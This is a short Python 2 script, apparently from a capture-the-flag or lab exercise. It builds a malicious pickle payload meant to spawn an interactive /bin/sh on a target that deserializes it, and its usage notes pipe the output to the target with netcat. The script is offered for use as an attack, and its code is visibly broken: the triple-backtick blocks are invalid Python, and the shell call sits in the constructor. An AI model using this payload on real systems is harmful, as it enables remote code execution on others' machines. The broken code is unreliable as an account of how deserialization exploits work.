import cPickle                                        #import cPickle module from python library
import subprocess                                     #import subprocess

```Usage:
        python -m shell > pass
         cat pass - | nc <IP> <port>
```
class Attack_Function(object):                       #define a class name Attack_Function
  def __init__(myself):                              #define a function
    return(subprocess.call(('/bin/sh','-i'),0,None,4,4,4))    #create a subprocess call of /bin/sh with -i mode
    
print(cPickle.dumps(Attack_Function()))             #Call the class
```subprocess module is used to start a process in python
   Syntax : subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False)
   For above script arguments are /bin/sh -i so we passed ('/bin/sh','-i')
```
